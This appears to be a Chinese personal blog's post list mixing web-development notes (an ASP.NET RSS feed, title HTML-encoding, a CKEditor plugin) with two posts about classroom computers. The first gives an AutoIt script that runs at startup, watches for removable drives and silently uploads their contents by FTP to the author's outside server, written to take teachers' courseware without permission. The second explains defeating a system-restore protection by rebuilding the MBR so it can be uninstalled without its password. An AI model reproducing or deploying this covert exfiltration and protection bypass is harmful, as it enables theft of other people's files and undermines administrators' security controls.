感谢网络中心给每个教室的电脑都接了网。
对于不给拷课件的老师,我们只有做点手脚了。 有网绝对好办。
首先把还原精灵给干了,这个我说过了。
嗯,放个脚本偷偷传,是个好主意。可VB不熟(顶多混个二级过关),C++都不会。那么。。。哈哈~用AutoIt吧~
脚本还没写的很好,不过关键问题解决了。一个是用FTP方式上传,一个是检测可移动设备:
#include <FTPEx.au3>
$server = 'www.njnu.me'
$username = 'xxx'
$password = 'xxx'
$localdir = 'f:'
$remotedir = ''
$ftpopen = _FTP_Open("up")
$ftpconn = _FTP_Connect($ftpopen,$server,$username,$password)
$rt1 = _FTP_DirPutContents($ftpconn,$localdir,$remotedir,0)
$rt2 = _FTP_DirPutContents($ftpconn,$localdir,$remotedir,1)
这是上传的。最后有2句差不多的,前一个是把目录下的文件上传,后一个是遍历所有子目录上传其中的文件。
While 1
Sleep(300)
$var = DriveGetDrive("REMOVABLE")
For $i = 1 To $var[0]
If $var[$i] <> "a:" Then
'这里执行上传代码($var[$i]为驱动器盘符)
Exit
EndIf
Next
Sleep(5000)
WEnd
这是检测移动设备的。有时候A盘也会被看作可移动设备,所以要去掉。脚本可以加到开机启动项里,每过大概5分钟检测一次,直到可移动设备出现。
......
10 views | 0 条评论
这个标题看起来很暴力而已,实际上很温柔的。
开机前进入DOS工具箱(一般的集成XP盘都带),一般都会有管理硬盘分区的软件。选择重建主引导扇区(MBR),然后重启使得设置生效。这时候就会发现还原精灵的还原界面没有了,直接看到XP那个启动界面。
下面会小悲剧下,不出意外会蓝屏。再次重启,Windows会让你选择用哪种方式启动,选择“最后一次正确的配置”,就是最长的那个。进入系统就不会蓝屏了。
进入系统后卸载还原精灵就无需输入密码了,然后提示有卸载错误。不去管它,实际上已经卸载了。
9 views | 0 条评论
评论功能本来是很简单的。一个表单就成了。
但是要营造舆论的和谐气氛,以及避免数据安全问题,需要加上过滤以及审核系统,那么就相对恶心点了。
不过评论还是会尽快出来的。交互功能嘛,不能少的。
15 views | 0 条评论
RSS订阅已经能够使用。鉴于站不大,决定xml用动态的,不做静态生成。暂时rss相关的东西也没有做成单独的类,算是偷懒了。
基本思想就是用Response向页面输出一个二进制流。以下是我的基本代码,没有读数据库的部分:
XmlTextWriter xmltw = null;
xmltw = new XmlTextWriter(Response.OutputStream,Encoding.UTF8);
xmltw.Formatting = Formatting.Indented;
xmltw.Indentation = 3;
xmltw.WriteStartDocument();
xmltw.WriteStartElement("rss");
xmltw.WriteAttributeString("version", "2.0");
xmltw.WriteAttributeString("xmlns:content", "http://purl.org/rss/1.0/modules/content/");
xmltw.WriteAttributeString("xmlns:wfw", "http://wellformedweb.org/CommentAPI/");
xmltw.WriteAttributeString("xmlns:dc", "http://purl.org/dc/elements/1.1/");
xmltw.WriteAttributeString("xmlns:atom", "http://www.w3.org/2005/Atom");
xmltw.WriteAttributeString("xmlns:sy", "http://purl.org/rss/1.0/modules/syndication/");
//以上rss
//以下channel
xmltw.WriteStartElement("channel");
xmltw.WriteElementString("title", "阳光海岸");
xmltw.WriteElementString("link", "http://blog.cn-sun.net");
xmltw.WriteElementString("description", "Phoenix Sun's Blog");
xmltw.WriteElementString("pubDate", DateTime.Now.ToString("r"));
xmltw.WriteElementString("language", "en-us");
xmltw.WriteElementString("copyright", "Copyright 2010");
xmltw.WriteElementString("generator", "http://blog.cn-sun.net");
//以下item
xmltw.WriteStartElement("item");
xmltw.WriteElementString("title", "测试");
xmltw.WriteElementString("link", "/Topic.aspx?ID=1");
xmltw.WriteElementString("pubDate", "Mon, 08 Feb 2010 09:31:55 +0000");
xmltw.WriteStartElement("category");
xmltw.WriteCData("测试分类");
xmltw.WriteEndElement();
xmltw.WriteStartElement("guid");
xmltw.WriteAttributeString("isPermaLink", "false");
xmltw.WriteString("http://blog.cn-sun.net/Topic.aspx?ID=1");
xmltw.WriteEndElement();
xmltw.WriteStartElement("description");
xmltw.WriteCData("测试内容");
xmltw.WriteEndElement();
xmltw.WriteEndElement();
//以上item
xmltw.WriteEndElement();
xmltw.WriteEndDocument();
xmltw.Flush();
xmltw.Close();
Response.ContentType = "text/xml";
Response.ContentEncoding = Encoding.UTF8;
Response.End();
这是参照网上的方法简化的。网上那个方法看着太头大了=。=!
10 views | 0 条评论
一个是后台发布文章标题时不能使用 < 和 > 标记的问题:
文章标题应该是纯文本。之前写的时候没有处理,使得<xxx>原样存入,输出时被浏览器当作是html标签,导致错误并不显示。
将入库时候的字符串做下html编码,用Server.HtmlEncode(string str) 对str即可。
另一个是关于页面伪静态的:当URL变化时候相对路径的东西的URL也会变化,导致不能正常显示图片和调用JS脚本等等。
修改了所有的相对路径的图片和JS脚本的路径,问题解决。
另:URL静态暂时还没做用于连接,但已经可以访问。比方说本文可以使用 http://blog.cn-sun.net/9/ 来访问。
61 views | 0 条评论
1.首先为CKeditior添加了一个插件,用于插入[more]标记。
在CKeditor的plugins目录下新建一个文件夹,我取名pagemore,再在其中添加一个js文件plugin.js:
CKEDITOR.plugins.add( 'pagemore',
{
init : function( editor )
{
// Register the command.
editor.addCommand( 'pagemore', CKEDITOR.plugins.pagemoreCmd );
// Register the toolbar button.
editor.ui.addButton( 'PageMore',
{
label : 'PageMore',
command : 'pagemore',
icon: this.path+"images/apage.jpg"//这里是编辑器上的图标,当前是相对路径
});
},
requires : [ 'fakeobjects' ]
});
CKEDITOR.plugins.pagemoreCmd =
{
exec : function( editor )
{
// Create the element that represents a print break.
var moreObject = CKEDITOR.dom.element.createFromHtml( '[more]' );
var ranges = editor.getSelection().getRanges();
for ( var range, i = 0 ; i < ranges.length ; i++ )
{
range = ranges[ i ];
if ( i > 0 )
moreObject = moreObject.clone( true );
range.splitBlock( 'p' );
range.insertNode( moreObject );
}
}
};
这个是参照pagebreak写的,作用是换行并插入[more]标记。网上有个看起来更简单点的,但用下来报错。
要在工具栏中启用之得修改配置文件config.js,加上这个插件。我的是这样的:
......
66 views | 0 条评论
共可收藏至18个收藏网站。
代码基本思想是获取当前页面URL,整合到GET方式请求的参数中去。
这些代码全部在客户端执行。查看本页源文件即可获取到。
这段代码原先是Wordpress插件。原版权:http://www.thinkagain.cn/
18 views | 0 条评论